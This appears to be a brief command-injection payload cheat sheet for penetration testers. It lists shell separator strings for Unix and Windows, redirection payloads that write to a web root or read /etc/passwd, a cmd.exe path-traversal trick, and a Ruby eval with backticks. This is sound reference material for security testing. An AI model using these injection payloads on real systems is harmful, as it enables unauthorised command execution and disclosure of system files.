Link to this headingCommand Injection
Link to this headingPayloads
Example Payload:
#Both Unix and Windows supported
||; ||; || ; || |; |; | ; | &&; &&; && ; && &; &; & ; &
#Only unix supported
;
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Link to this headingWindows Command Injection
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/ipconfig.exe"
Link to this headingLanguage Dependent
Ruby on Rails:
eval
`ls -al /` #